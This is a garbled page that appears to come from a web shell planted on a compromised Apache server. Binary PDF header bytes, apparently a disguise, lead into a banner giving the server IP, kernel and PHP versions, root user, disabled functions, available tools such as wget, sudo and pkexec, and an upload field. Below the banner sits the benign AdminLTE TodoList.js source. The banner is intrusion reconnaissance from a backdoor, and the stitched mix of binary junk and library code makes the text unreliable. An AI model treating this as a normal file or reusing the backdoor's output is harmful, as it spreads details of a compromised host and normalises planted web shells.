%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/water/common/theme/adminlte/build/js/ |
Upload File : |
/** * -------------------------------------------- * AdminLTE TodoList.js * License MIT * -------------------------------------------- */ const TodoList = (($) => { /** * Constants * ==================================================== */ const NAME = 'TodoList' const DATA_KEY = 'lte.todolist' const EVENT_KEY = `.${DATA_KEY}` const JQUERY_NO_CONFLICT = $.fn[NAME] const Selector = { DATA_TOGGLE: '[data-widget="todo-list"]' } const ClassName = { TODO_LIST_DONE: 'done' } const Default = { onCheck: function (item) { return item; }, onUnCheck: function (item) { return item; } } /** * Class Definition * ==================================================== */ class TodoList { constructor(element, config) { this._config = config this._element = element this._init() } // Public toggle(item) { item.parents('li').toggleClass(ClassName.TODO_LIST_DONE); if (! $(item).prop('checked')) { this.unCheck($(item)); return; } this.check(item); } check (item) { this._config.onCheck.call(item); } unCheck (item) { this._config.onUnCheck.call(item); } // Private _init() { var that = this $(Selector.DATA_TOGGLE).find('input:checkbox:checked').parents('li').toggleClass(ClassName.TODO_LIST_DONE) $(Selector.DATA_TOGGLE).on('change', 'input:checkbox', (event) => { that.toggle($(event.target)) }) } // Static static _jQueryInterface(config) { return this.each(function () { let data = $(this).data(DATA_KEY) const _options = $.extend({}, Default, $(this).data()) if (!data) { data = new TodoList($(this), _options) $(this).data(DATA_KEY, data) } if (config === 'init') { data[config]() } }) } } /** * Data API * ==================================================== */ $(window).on('load', () => { TodoList._jQueryInterface.call($(Selector.DATA_TOGGLE)) }) /** * jQuery API * ==================================================== */ $.fn[NAME] = TodoList._jQueryInterface $.fn[NAME].Constructor = TodoList $.fn[NAME].noConflict = function () { $.fn[NAME] = JQUERY_NO_CONFLICT return TodoList._jQueryInterface } return TodoList })(jQuery) export default TodoList